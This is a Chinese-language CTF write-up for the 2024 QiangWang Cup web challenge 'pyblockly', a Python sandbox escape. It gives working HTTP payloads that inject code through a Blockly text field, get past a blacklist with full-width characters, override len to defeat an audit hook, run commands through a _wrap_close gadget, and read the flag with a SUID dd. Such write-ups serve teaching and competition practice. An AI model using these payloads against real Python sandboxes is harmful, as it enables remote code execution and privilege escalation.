强网杯 2024 web pyblockly 单题wp

这次跟的wgpsec打。不给复现写不了wp,第一次打国内的比赛有点疏忽了。把pyblockly写详细点儿吧(pyblockly留了做题记录)

贴一下wgpsec的wp:https://mp.weixin.qq.com/s/NzZ-ZJlyCh2sk3vbNbswiw

WEB几乎AK了,tql师傅们

像这种PYjail接触的比较少,题目质量也很高,记录一下

下载附件,读

app.py

复制代码
    from flask import Flask, request, jsonify
    import re
    import unidecode
    import string
    import ast
    import sys
    import os
    import subprocess
    import importlib.util
    import json
    
    app = Flask(__name__)
    app.config['JSON_AS_ASCII'] = False
    
    blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
    
    def module_exists(module_name):
    
        spec = importlib.util.find_spec(module_name)
        if spec is None:
            return False
    
        if module_name in sys.builtin_module_names:
            return True
        
        if spec.origin:
            std_lib_path = os.path.dirname(os.__file__)
            
            if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
                return True
        return False
    
    def verify_secure(m):
        for node in ast.walk(m):
            match type(node):
                case ast.Import:  
                    print("ERROR: Banned module ")
                    return False
                case ast.ImportFrom: 
                    print(f"ERROR: Banned module {node.module}")
                    return False
        return True
    
    def check_for_blacklisted_symbols(input_text):
        if re.search(blacklist_pattern, input_text):
            return True
        else:
            return False


​    
​    
    def block_to_python(block):
        block_type = block['type']
        code = ''
        
        if block_type == 'print':
            text_block = block['inputs']['TEXT']['block']
            text = block_to_python(text_block)  
            code = f"print({text})"
               
        elif block_type == 'math_number':
            
            if str(block['fields']['NUM']).isdigit():      
                code =  int(block['fields']['NUM']) 
            else:
                code = ''
        elif block_type == 'text':
            if check_for_blacklisted_symbols(block['fields']['TEXT']):
                code = ''
            else:
            
                code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
        elif block_type == 'max':
            
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)  
            b = block_to_python(b_block)
            code =  f"max({a}, {b})"
    
        elif block_type == 'min':
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)
            b = block_to_python(b_block)
            code =  f"min({a}, {b})"
    
        if 'next' in block:
            
            block = block['next']['block']
            
            code +="\n" + block_to_python(block)+ "\n"
        else:
            return code 
        return code
    
    def json_to_python(blockly_data):
        block = blockly_data['blocks']['blocks'][0]
    
        python_code = ""
        python_code += block_to_python(block) + "\n"


​            
        return python_code
    
    def do(source_code):
        hook_code = '''
    def my_audit_hook(event_name, arg):
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")
    
    __import__('sys').addaudithook(my_audit_hook)
    
    '''
        print(source_code)
        code = hook_code + source_code
        tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
        try:
            if verify_secure(tree):  
                with open("run.py", 'w') as f:
                    f.write(code)        
                result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
                os.remove('run.py')
                return result
            else:
                return "Execution aborted due to security concerns."
        except:
            os.remove('run.py')
            return "Timeout!"
    
    @app.route('/')
    def index():
        return app.send_static_file('index.html')
    
    @app.route('/blockly_json', methods=['POST'])
    def blockly_json():
        blockly_data = request.get_data()
        print(type(blockly_data))
        blockly_data = json.loads(blockly_data.decode('utf-8'))
        print(blockly_data)
        try:
            python_code = json_to_python(blockly_data)
            return do(python_code)
        except Exception as e:
            return jsonify({"error": "Error generating Python code", "details": str(e)})
        
    if __name__ == '__main__':
        app.run(host = '0.0.0.0')

web1是很复杂的题目呢。然而其实大部分代码都没啥用,我们的思路也很明显------------通过block传递恶意代码执行。

出题人煞费苦心给题目套了一个很复杂的包装。其实对我们的攻击没多大影响。这里使用json_to_python来提取输入中的blocks,再在block_to_python中对每一个blocks进行分类(如print,max,min)再写入一个python文件中执行。

首先在block_to_python中随便一个功能(比如说print吧),最后都是直接使用字符串拼接的方式将输入拼到代码里。这里很容易想到用')闭合print('')并在后面用;或\n加入代码的RCE手段(要注释掉后面的'))。进一步可以看到print模式要获取一个TEXT,可以直接将输入经过一次unidecode.unidecode后拼入print中执行。而TEXT要经过一个检测,这里因为是先进行检测后unidecode.unidecode。所以可以用全角字符进行绕过(全角字符在unidecode.unidecode后变为半角字符)

搓出payload如下

复制代码
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
                  "fields": {
                    "TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可得到文件回显

这里只能读取文件,没有读取/flag的权限。考虑到RCE+提权的方式。可以看到在将用户的输入拼入py文件时添加了一个hook函数中,对event_name长度进行了限制。并且加入限制event_name了一个黑名单。

复制代码
    def my_audit_hook(event_name, arg):
        # print(f"[+]{event_name},{arg}")
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")

对event_name不熟悉的师傅可以看看https://peps.python.org/pep-0578/

看到所有的event_name里,只有open和exec满足长度小于等于4,而exec又在黑名单里。

于是考虑绕过长度检测,这里可以使用重写len函数的方式,使其永远返回3。

复制代码
    __builtins__.len = lambda x: 3

随后我们搓个POC:

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可以看到返回3

WIN!摆脱了长度的限制之后,就只剩下一个可有可无的黑名单了

限制了exec,我们就用os.system。照抄SSTIpayload即可

复制代码
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以执行任意命令。接下来看SUID文件。发现DD可以越权读取

DD读取,转全角字符,拿flag

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("dd if=/flag")\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }


**flag{7cla4fe8981e295a78508a49146340b9}**
相关推荐
Summer-Bright2 分钟前
深度 | 谷歌Gemini 4 Argon单次输出100万Token:长输出是智能体刚需,先给防御者不给攻击者才是新玩法
人工智能·安全·ai
hasty22 分钟前
接口鉴权通过,对象却属于别人:LimeSurvey 跨问卷授权缺陷解析
安全·系统安全
lisw052 小时前
AI如何助力网络安全合规性?
人工智能·安全·可信计算技术
格鸰爱童话2 小时前
搭建primihub开源框架并一步步理解
安全·ai
mennekes3 小时前
组合工业插座箱:场景复杂难配电?插座箱组合方案更安全
安全·制造
三8443 小时前
Fastjson 漏洞学习笔记 · 03 · 经典利用链:TemplatesImpl 与 JdbcRowSetImpl
java·web安全·fastjson
hengdonghui3 小时前
Writeup 4 CSS CTF Semester 2 2026 - Dead Faction Servers
ctf·osint
林伽一3 小时前
常驻智能体产品化元年开启,安全治理成为产业新门槛|2026年10月1日
人工智能·安全·chatgpt
科力锐品牌君14 小时前
应用级灾备 | 海量非结构化数据如何实现高效数据保护
linux·运维·网络·安全·系统安全·数据安全·灾备
杨福宇14 小时前
100BASE T1以太网实时控制的危机V3.21 ——辅助自动驾驶难达标
网络·网络协议·安全·自动驾驶·汽车